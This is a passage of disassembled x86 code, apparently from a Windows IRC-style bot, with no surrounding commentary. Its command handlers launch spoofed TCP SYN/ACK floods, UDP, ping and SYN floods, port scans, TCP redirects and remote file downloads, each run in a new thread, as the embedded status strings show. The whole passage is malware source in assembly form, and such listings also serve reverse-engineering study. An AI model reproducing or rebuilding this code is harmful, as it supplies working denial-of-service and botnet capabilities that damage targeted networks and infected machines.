		call	sub_40576B
		jmp	loc_40E7D6
; ---------------------------------------------------------------------------


loc_40B9C2:				; CODE XREF: sub_409557+20AFj
					; sub_409557+20C6j
		mov	esi, 80h
		push	edi		; Format
		lea	eax, [ebp+var_680]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		lea	eax, [ebp+var_680]
		push	eax		; Str2
		push	offset aSyn_0	; "syn"
		call	_strcmp
		add	esp, 14h
		test	eax, eax
		jz	short loc_40BA25
		lea	eax, [ebp+var_680]
		push	eax		; Str2
		push	offset aAck	; "ack"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40BA25
		lea	eax, [ebp+var_680]
		push	eax		; Str2
		push	offset aRandom	; "random"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40BA25
		push	offset aTcpInvalidFloo ; "[TCP]: Invalid flood type specified."
		jmp	loc_40DFA0
; ---------------------------------------------------------------------------


loc_40BA25:				; CODE XREF: sub_409557+2494j
					; sub_409557+24ABj ...
		push	[ebp+arg_8]	; Str
		call	_atoi
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_578], eax
		jle	loc_40BB4B
		push	edi		; Format
		lea	eax, [ebp+var_680]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		push	[ebp+Str1]	; Format
		lea	eax, [ebp+var_700]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		push	[ebp+Src]	; Str
		call	_atoi
		mov	[ebp+var_57C], eax
		xor	eax, eax
		cmp	[ebp+var_9A2], bl
		push	[ebp+var_8C]	; Format
		setnz	al
		mov	[ebp+var_574], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_704], eax
		lea	eax, [ebp+var_600]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+var_4]
		add	esp, 28h
		cmp	[ebp+var_574], ebx
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_56C], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_40BABC
		mov	eax, offset aNormal ; "Normal"


loc_40BABC:				; CODE XREF: sub_409557+255Ej
		push	[ebp+arg_8]
		push	[ebp+Src]
		push	[ebp+Str1]
		push	edi
		push	eax
		push	offset aTcpSSFloodingS ; "[TCP]: %s %s flooding: (%s:%s) for %s	s"...
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	0Ch		; int
		push	eax		; Source
		call	sub_411C3A
		add	esp, 2Ch
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_704]
		push	ebx
		push	eax
		push	offset sub_4111FF
		push	ebx
		push	ebx
		call	ds:dword_41B064	; CreateThread
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_430554[ecx], eax
		jz	short loc_40BB3A


loc_40BB24:				; CODE XREF: sub_409557+25E1j
		cmp	[ebp+var_568], ebx
		jnz	loc_40B837
		push	32h
		call	ds:dword_41B048	; Sleep
		jmp	short loc_40BB24
; ---------------------------------------------------------------------------


loc_40BB3A:				; CODE XREF: sub_409557+25CBj
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		push	offset aTcpFailedToSta ; "[TCP]: Failed	to start flood thread, er"...
		jmp	loc_40B828
; ---------------------------------------------------------------------------


loc_40BB4B:				; CODE XREF: sub_409557+24DFj
		push	offset aTcpInvalidFl_0 ; "[TCP]: Invalid flood time must be great"...
		jmp	loc_40DFA0
; ---------------------------------------------------------------------------


loc_40BB55:				; CODE XREF: sub_409557+206Aj
					; sub_409557+2081j ...
		cmp	dword_42ECA0, ebx
		mov	esi, [ebp+arg_4]
		jnz	loc_40BC5D
		mov	eax, [ebp+var_8]
		push	7Fh		; Count
		mov	[ebp+var_2EC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2F0], eax
		lea	eax, [ebp+var_384]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	[ebp+Str1]	; Str
		call	_atoi
		push	[ebp+Src]	; Str
		mov	[ebp+var_304], eax
		call	_atoi
		push	[ebp+arg_8]	; Str
		mov	[ebp+var_300], eax
		call	_atoi
		push	7Fh		; Count
		mov	[ebp+var_2FC], eax
		push	[ebp+var_8C]	; Source
		lea	eax, [ebp+var_404]
		push	eax		; Dest
		call	_strncpy
		push	[ebp+var_2FC]
		lea	eax, [ebp+var_384]
		mov	[ebp+var_408], esi
		push	[ebp+var_300]
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+var_304]
		push	offset aPingSendingDPi ; "[PING]: Sending %d pings to %s. packet "...
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	0Eh		; int
		push	eax		; Source
		call	sub_411C3A
		add	esp, 48h
		mov	[ebp+var_2F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_408]
		push	ebx
		push	eax
		push	offset sub_4084A7
		push	ebx
		push	ebx
		call	ds:dword_41B064	; CreateThread
		mov	ecx, [ebp+var_2F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_430554[ecx], eax
		jz	short loc_40BC4C


loc_40BC3A:				; CODE XREF: sub_409557+26F3j
		cmp	[ebp+var_2E8], ebx
		jnz	short loc_40BC76
		push	32h
		call	ds:dword_41B048	; Sleep
		jmp	short loc_40BC3A
; ---------------------------------------------------------------------------


loc_40BC4C:				; CODE XREF: sub_409557+26E1j
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		push	offset aPingFailedToSt ; "[PING]: Failed to start flood	thread,	e"...
		jmp	loc_40C808
; ---------------------------------------------------------------------------


loc_40BC5D:				; CODE XREF: sub_409557+2607j
		push	1FFh		; Count
		lea	eax, [ebp+Dst]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax		; Dest
		call	_strncpy


loc_40BC73:				; CODE XREF: sub_409557+32BDj
		add	esp, 0Ch


loc_40BC76:				; CODE XREF: sub_409557+26E9j
					; sub_409557+2830j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40B858
		push	ebx
		push	[ebp+var_4]
		jmp	loc_40DE8C
; ---------------------------------------------------------------------------


loc_40BC88:				; CODE XREF: sub_409557+2025j
					; sub_409557+203Cj ...
		mov	eax, [ebp+var_8]
		push	7Fh		; Count
		mov	[ebp+var_2EC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2F0], eax
		lea	eax, [ebp+var_384]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	[ebp+Str1]	; Str
		call	_atoi
		push	[ebp+Src]	; Str
		mov	[ebp+var_304], eax
		call	_atoi
		push	[ebp+arg_8]	; Str
		mov	[ebp+var_300], eax
		call	_atoi
		mov	esi, [ebp+esi+Format]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_2FC], eax
		jz	short loc_40BCED
		push	esi		; Str
		call	_atoi
		pop	ecx
		mov	[ebp+var_2F8], eax
		jmp	short loc_40BCF3
; ---------------------------------------------------------------------------


loc_40BCED:				; CODE XREF: sub_409557+2785j
		mov	[ebp+var_2F8], ebx


loc_40BCF3:				; CODE XREF: sub_409557+2794j
		push	7Fh		; Count
		lea	eax, [ebp+var_404]
		push	[ebp+var_8C]	; Source
		push	eax		; Dest
		call	_strncpy
		push	[ebp+var_2FC]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_384]
		mov	[ebp+var_408], esi
		push	[ebp+var_300]
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+var_304]
		push	offset aUdpSendingDPac ; "[UDP]: Sending %d packets to:	%s. Packe"...
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	0Fh		; int
		push	eax		; Source
		call	sub_411C3A
		add	esp, 30h
		mov	[ebp+var_2F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_408]
		push	ebx
		push	eax
		push	offset sub_408633
		push	ebx
		push	ebx
		call	ds:dword_41B064	; CreateThread
		mov	ecx, [ebp+var_2F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_430554[ecx], eax
		jz	short loc_40BD97


loc_40BD81:				; CODE XREF: sub_409557+283Ej
		cmp	[ebp+var_2E8], ebx
		jnz	loc_40BC76
		push	32h
		call	ds:dword_41B048	; Sleep
		jmp	short loc_40BD81
; ---------------------------------------------------------------------------


loc_40BD97:				; CODE XREF: sub_409557+2828j
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		push	offset aUdpFailedToSta ; "[UDP]: Failed	to start flood thread, er"...
		jmp	loc_40C808
; ---------------------------------------------------------------------------


loc_40BDA8:				; CODE XREF: sub_409557+1FF7j
					; sub_409557+200Ej
		push	8
		call	sub_411E82
		push	[ebp+Str1]	; Str
		mov	[ebp+Dest], eax
		call	_atoi
		add	eax, [ebp+Dest]
		pop	ecx
		pop	ecx
		cmp	eax, 258h
		jle	short loc_40BDFB
		push	[ebp+Dest]
		lea	eax, [ebp+Dst]
		push	offset aScanAlreadyDSc ; "[SCAN]: Already %d scanning threads. To"...
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_405E64


loc_40BDF3:				; CODE XREF: sub_409557+3C1Dj
		add	esp, 20h
		jmp	loc_40E7D9
; ---------------------------------------------------------------------------


loc_40BDFB:				; CODE XREF: sub_409557+286Dj
		push	edi		; Str
		call	_atoi
		push	[ebp+Str1]	; Str
		mov	[ebp+var_31C], eax
		call	_atoi
		push	[ebp+Src]	; Str
		mov	[ebp+var_304], eax
		call	_atoi
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_318], eax
		jnb	short loc_40BE34
		push	5
		pop	eax
		mov	[ebp+var_318], eax


loc_40BE34:				; CODE XREF: sub_409557+28D2j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40BE41
		mov	[ebp+var_318], ecx


loc_40BE41:				; CODE XREF: sub_409557+28E2j
		push	[ebp+arg_8]	; Str
		call	_atoi
		mov	[ebp+var_314], eax
		mov	eax, 320h
		cmp	[ebp+var_314], eax
		pop	ecx
		jbe	short loc_40BE63
		mov	[ebp+var_314], eax


loc_40BE63:				; CODE XREF: sub_409557+2904j
		or	[ebp+var_300], 0FFFFFFFFh
		cmp	dword_41F090, ebx
		mov	[ebp+arg_8], ebx
		jz	short loc_40BEB9
		mov	[ebp+File], offset dword_41F090


loc_40BE7C:				; CODE XREF: sub_409557+2944j
		mov	eax, [ebp+File]
		push	edi		; Str2
		add	eax, 0FFFFFFD8h
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40BE9F
		add	[ebp+File], 3Ch
		inc	[ebp+arg_8]
		mov	eax, [ebp+File]
		cmp	[eax], ebx
		jnz	short loc_40BE7C
		jmp	short loc_40BEB9
; ---------------------------------------------------------------------------


loc_40BE9F:				; CODE XREF: sub_409557+2936j
		mov	eax, [ebp+arg_8]
		mov	ecx, eax
		mov	[ebp+var_300], eax
		imul	ecx, 3Ch
		mov	ecx, dword_41F090[ecx]
		mov	[ebp+var_31C], ecx


loc_40BEB9:				; CODE XREF: sub_409557+291Cj
					; sub_409557+2946j
		cmp	[ebp+var_31C], ebx
		jz	loc_40DA85
		mov	edi, [ebp+esi+Format]
		cmp	edi, ebx
		mov	[ebp+Str1], edi
		jz	short loc_40BF00
		cmp	byte ptr [edi],	23h
		jz	short loc_40BF00
		push	edi		; Format
		lea	eax, [ebp+var_430]
		push	10h		; Count
		push	eax		; Dest
		call	__snprintf
		push	78h		; Val
		push	edi		; Str
		call	_strchr
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_2F0], eax
		jmp	loc_40BFD4
; ---------------------------------------------------------------------------


loc_40BF00:				; CODE XREF: sub_409557+2977j
					; sub_409557+297Cj
		cmp	[ebp+var_9B3], bl
		jnz	short loc_40BF22
		cmp	[ebp+var_9B2], bl
		jnz	short loc_40BF22
		cmp	[ebp+var_9A2], bl
		jnz	short loc_40BF22
		push	offset aScanFailedTo_0 ; "[SCAN]: Failed to start scan,	no IP spe"...
		jmp	loc_40DFA0
; ---------------------------------------------------------------------------


loc_40BF22:				; CODE XREF: sub_409557+29AFj
					; sub_409557+29B7j ...
		push	10h
		lea	eax, [ebp+Src]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		mov	[ebp+Src], edi
		push	[ebp+arg_4]
		call	dword_42EB5C	; getsockname
		mov	al, [ebp+var_9B3]
		push	edi		; Args
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+Drive], eax
		push	[ebp+Drive]	; Count
		call	dword_42EC3C	; inet_ntoa
		push	eax		; Source
		lea	eax, [ebp+var_430]
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch
		cmp	[ebp+var_9A2], bl
		jz	short loc_40BFCE
		xor	eax, eax
		cmp	[ebp+var_9B3], bl
		push	30h		; Ch
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_430]
		push	eax		; Str
		call	_strrchr
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+File+3], bl
		jle	short loc_40BFC2


loc_40BFA0:				; CODE XREF: sub_409557+2A69j
		cmp	eax, ebx
		jz	short loc_40BFC2
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_430]
		push	30h		; Ch
		push	eax		; Str
		call	_strrchr
		inc	byte ptr [ebp+File+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+File+3]
		cmp	ecx, edi
		jl	short loc_40BFA0


loc_40BFC2:				; CODE XREF: sub_409557+2A47j
					; sub_409557+2A4Bj
		mov	[ebp+var_2F0], 1
		jmp	short loc_40BFD4
; ---------------------------------------------------------------------------


loc_40BFCE:				; CODE XREF: sub_409557+2A21j
		mov	[ebp+var_2F0], ebx


loc_40BFD4:				; CODE XREF: sub_409557+29A4j
					; sub_409557+2A75j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]	; Format
		mov	[ebp+var_320], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2F8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2F4], eax
		mov	edi, 80h
		lea	eax, [ebp+var_420]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		mov	esi, [ebp+esi+var_7C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_40C025


loc_40C012:				; CODE XREF: sub_409557+2AF1j
		push	esi		; Format


loc_40C013:				; CODE XREF: sub_409557+2ADBj
		lea	eax, [ebp+var_3A0]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		jmp	short loc_40C050
; ---------------------------------------------------------------------------


loc_40C025:				; CODE XREF: sub_409557+2AB9j
		mov	eax, [ebp+Str1]
		cmp	eax, ebx
		jz	short loc_40C034
		cmp	byte ptr [eax],	23h
		jnz	short loc_40C034
		push	eax
		jmp	short loc_40C013
; ---------------------------------------------------------------------------


loc_40C034:				; CODE XREF: sub_409557+2AD3j
					; sub_409557+2AD8j
		mov	esi, offset aFf_0 ; "#ff-"
		push	offset byte_428D64 ; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C012
		mov	[ebp+var_3A0], bl


loc_40C050:				; CODE XREF: sub_409557+2ACCj
		cmp	[ebp+var_2F0], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_40C062
		mov	eax, offset aSequential	; "Sequential"


loc_40C062:				; CODE XREF: sub_409557+2B04j
		push	[ebp+var_304]
		lea	ecx, [ebp+var_430]
		push	[ebp+var_314]
		push	[ebp+var_318]
		push	[ebp+var_31C]
		push	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aScanSPortScanS ; "[SCAN]: %s Port Scan started on %s:%d	w"...
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	8		; int
		push	eax		; Source
		call	sub_411C3A
		add	esp, 2Ch
		mov	[ebp+var_310], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_430]
		push	ebx
		push	eax
		push	offset sub_402A0C
		push	ebx
		push	ebx
		call	ds:dword_41B064	; CreateThread
		mov	ecx, [ebp+var_310]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_430554[ecx], eax
		jz	short loc_40C0F0


loc_40C0DA:				; CODE XREF: sub_409557+2B97j
		cmp	[ebp+var_2EC], ebx
		jnz	loc_40B837
		push	32h
		call	ds:dword_41B048	; Sleep
		jmp	short loc_40C0DA
; ---------------------------------------------------------------------------


loc_40C0F0:				; CODE XREF: sub_409557+2B81j
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		push	offset aScanFailedTo_1 ; "[SCAN]: Failed to start scan thread, er"...
		jmp	loc_40B828
; ---------------------------------------------------------------------------


loc_40C101:				; CODE XREF: sub_409557+1FB7j
					; sub_409557+1FCEj
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		cmp	byte_430558[eax], bl
		jz	loc_40E7D9
		cmp	[ebp+var_C], ebx
		jz	loc_40E7D9
		push	edi		; Str
		call	_strlen
		push	[ebp+Dest]	; Str
		mov	esi, eax
		call	_strlen
		push	[ebp+Str1]	; Str
		add	esi, eax
		call	_strlen
		add	eax, [ebp+var_C]
		push	[ebp+Src]	; SubStr
		lea	eax, [eax+esi+2]
		push	eax		; Str
		call	_strstr
		mov	esi, eax
		lea	eax, [ebp+Dst]
		push	esi
		push	offset dword_42653C ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_40E7D9
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	loc_40E7D9
		push	edi		; Str
		call	_atoi
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40E7D9
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	ebx		; int
		push	eax		; int
		push	[ebp+Str1]	; Str
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_43054C[eax] ; int
		call	sub_405E64
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_430340[eax], 73h
		jnz	loc_40E7D9
		push	esi
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_430558
		push	eax
		push	[ebp+Str1]
		push	offset aSSS_1	; "[%s]	* %s %s"


loc_40C1E9:				; CODE XREF: sub_409557+2D8Fj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_405E64


loc_40C20E:				; CODE XREF: sub_409557+4B11j
		add	esp, 28h
		jmp	loc_40E7D9
; ---------------------------------------------------------------------------


loc_40C216:				; CODE XREF: sub_409557+1F89j
					; sub_409557+1FA0j
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		cmp	byte_430558[eax], bl
		jz	loc_40E7D9
		cmp	[ebp+var_C], ebx
		jz	loc_40E7D9
		push	edi		; Str
		call	_strlen
		push	[ebp+Dest]	; Str
		mov	esi, eax
		call	_strlen
		push	[ebp+Str1]	; Str
		add	esi, eax
		call	_strlen
		add	eax, [ebp+var_C]
		push	[ebp+Src]	; SubStr
		lea	eax, [eax+esi+2]
		push	eax		; Str
		call	_strstr
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_40E7D9
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	loc_40E7D9
		push	edi		; Str
		call	_atoi
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40E7D9
		push	ebx		; int
		push	ebx		; int
		push	esi		; int
		push	[ebp+Str1]	; Str
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_43054C[eax] ; int
		call	sub_405E64
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_430340[eax], 73h
		jnz	loc_40E7D9
		push	esi
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_430558
		push	eax
		push	[ebp+Str1]
		push	offset aSSS_2	; "[%s]	<%s> %s"
		jmp	loc_40C1E9
; ---------------------------------------------------------------------------


loc_40C2EB:				; CODE XREF: sub_409557+1F5Bj
					; sub_409557+1F72j
		push	edi
		call	dword_42EBF0	; inet_addr
		push	[ebp+Str1]	; Str
		mov	[ebp+var_460], eax
		call	_atoi
		push	[ebp+Src]	; Str
		mov	[ebp+var_46C], eax
		call	_atoi
		mov	esi, [ebp+arg_4]
		push	7Fh		; Count
		push	[ebp+var_8C]	; Source
		mov	[ebp+var_468], eax
		lea	eax, [ebp+var_4EC]
		mov	[ebp+var_4F0], esi
		push	eax		; Dest
		call	_strncpy
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_458], edi
		push	[ebp+var_468]
		mov	[ebp+var_454], eax
		push	[ebp+var_46C]
		push	[ebp+var_460]
		call	dword_42EC3C	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aScanPortScanSt ; "[SCAN]: Port scan started: %s:%d with	d"...
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	8		; int
		push	eax		; Source
		call	sub_411C3A
		add	esp, 20h
		mov	[ebp+var_464], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F0]
		push	ebx
		push	eax
		push	offset sub_40FB6E
		push	ebx
		push	ebx
		call	ds:dword_41B064	; CreateThread
		mov	ecx, [ebp+var_464]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_430554[ecx], eax
		jz	short loc_40C3CD


loc_40C3B7:				; CODE XREF: sub_409557+2E74j
		cmp	[ebp+var_450], ebx
		jnz	loc_40DE81
		push	32h
		call	ds:dword_41B048	; Sleep
		jmp	short loc_40C3B7
; ---------------------------------------------------------------------------


loc_40C3CD:				; CODE XREF: sub_409557+2E5Ej
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		push	offset aScanFailedTo_1 ; "[SCAN]: Failed to start scan thread, er"...
		jmp	loc_40DE72
; ---------------------------------------------------------------------------


loc_40C3DE:				; CODE XREF: sub_409557+1F2Dj
					; sub_409557+1F44j
		push	edi		; Str
		call	_atoi
		push	7Fh		; Count
		mov	[ebp+var_300], eax
		push	[ebp+Str1]	; Source
		lea	eax, [ebp+var_404]
		push	eax		; Dest
		call	_strncpy
		push	[ebp+Src]	; Str
		call	_atoi
		push	[ebp+var_8C]	; Format
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_384]
		push	80h		; Count
		push	eax		; Dest
		mov	[ebp+var_40C], esi
		call	__snprintf
		mov	eax, [ebp+var_8]
		add	esp, 20h
		mov	edi, [ebp+var_4]
		mov	[ebp+var_2F0], eax
		push	[ebp+var_304]
		lea	eax, [ebp+var_404]
		mov	[ebp+var_2F4], edi
		push	eax
		push	[ebp+var_300]
		push	esi
		call	sub_408401
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aRedirectTcpRed ; "[REDIRECT]: TCP redirect created from: "...
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	10h		; int
		push	eax		; Source
		call	sub_411C3A
		add	esp, 24h
		mov	[ebp+var_2FC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_40C]
		push	ebx
		push	eax
		push	offset sub_40E9B2
		push	ebx
		push	ebx
		call	ds:dword_41B064	; CreateThread
		mov	ecx, [ebp+var_2FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_430554[ecx], eax
		jz	short loc_40C4C7


loc_40C4B1:				; CODE XREF: sub_409557+2F6Ej
		cmp	[ebp+var_2EC], ebx
		jnz	loc_40DE81
		push	32h
		call	ds:dword_41B048	; Sleep
		jmp	short loc_40C4B1
; ---------------------------------------------------------------------------


loc_40C4C7:				; CODE XREF: sub_409557+2F58j
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		push	offset aRedirectFailed ; "[REDIRECT]: Failed to	start redirection"...
		jmp	loc_40DE72
; ---------------------------------------------------------------------------


loc_40C4D8:				; CODE XREF: sub_409557+1EFFj
					; sub_409557+1F16j
		push	0FFh		; Count
		lea	eax, [ebp+var_788]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	0FFh		; Count
		lea	eax, [ebp+var_688]
		push	[ebp+Str1]	; Source
		push	eax		; Dest
		call	_strncpy
		push	[ebp+Src]	; Str
		mov	[ebp+var_584], ebx
		call	_atoi
		mov	[ebp+var_580], eax
		mov	eax, [ebp+esi+Str]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_40C534
		push	10h		; Radix
		push	ebx		; EndPtr
		push	eax		; Str
		call	_strtoul
		add	esp, 0Ch
		mov	[ebp+var_578], eax
		jmp	short loc_40C53A
; ---------------------------------------------------------------------------


loc_40C534:				; CODE XREF: sub_409557+2FC7j
		mov	[ebp+var_578], ebx


loc_40C53A:				; CODE XREF: sub_409557+2FDBj
		mov	esi, [ebp+esi+Format]
		cmp	esi, ebx
		jz	short loc_40C551
		push	esi		; Str
		call	_atoi
		pop	ecx
		mov	[ebp+var_57C], eax
		jmp	short loc_40C557
; ---------------------------------------------------------------------------


loc_40C551:				; CODE XREF: sub_409557+2FE9j
		mov	[ebp+var_57C], ebx


loc_40C557:				; CODE XREF: sub_409557+2FF8j
		movzx	eax, [ebp+var_9AF]
		mov	esi, [ebp+arg_4]
		push	7Fh		; Count
		push	[ebp+var_8C]	; Source
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_808]
		mov	[ebp+var_80C], esi
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		push	[ebp+Str1]
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_570], eax
		push	edi
		lea	eax, [ebp+Dst]
		push	offset aDownloadDown_1 ; "[DOWNLOAD]: Downloading URL: %s to: %s."...
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	15h		; int
		push	eax		; Source
		call	sub_411C3A
		add	esp, 28h
		mov	[ebp+var_588], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_80C]
		push	ebx
		push	eax
		push	offset sub_403520
		push	ebx
		push	ebx
		call	ds:dword_41B064	; CreateThread
		mov	ecx, [ebp+var_588]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_430554[ecx], eax
		jz	short loc_40C605


loc_40C5EF:				; CODE XREF: sub_409557+30ACj
		cmp	[ebp+var_568], ebx
		jnz	loc_40BC76
		push	32h
		call	ds:dword_41B048	; Sleep
		jmp	short loc_40C5EF
; ---------------------------------------------------------------------------


loc_40C605:				; CODE XREF: sub_409557+3096j
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		push	offset aDownloadFailed ; "[DOWNLOAD]: Failed to	start transfer th"...
		jmp	loc_40C808
; ---------------------------------------------------------------------------


loc_40C616:				; CODE XREF: sub_409557+1ED1j
					; sub_409557+1EE8j
		push	7Fh
		lea	eax, [ebp+var_774]
		pop	esi
		push	esi		; Count
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_6F4]
		push	[ebp+Str1]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_674]
		push	[ebp+Src]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_5F4]
		push	[ebp+var_8C]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_8]
		push	[ebp+Src]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+Str1]
		mov	[ebp+var_778], eax
		lea	eax, [ebp+Dst]
		push	edi
		push	offset aSynFloodingSSF ; "[SYN]: Flooding: (%s:%s) for %s seconds"...
		push	eax		; Dest
		mov	[ebp+var_570], esi
		call	_sprintf
		add	esp, 44h
		lea	eax, [ebp+Dst]
		push	ebx		; int
		push	0Bh		; int
		push	eax		; Source
		call	sub_411C3A
		add	esp, 0Ch
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_778]
		push	ebx
		push	eax
		push	offset sub_4109BE
		push	ebx
		push	ebx
		call	ds:dword_41B064	; CreateThread
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_430554[ecx], eax
		jz	short loc_40C6E9


loc_40C6D7:				; CODE XREF: sub_409557+3190j
		cmp	[ebp+var_568], ebx
		jnz	short loc_40C704
		push	32h
		call	ds:dword_41B048	; Sleep
		jmp	short loc_40C6D7
; ---------------------------------------------------------------------------


loc_40C6E9:				; CODE XREF: sub_409557+317Ej
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Dst]
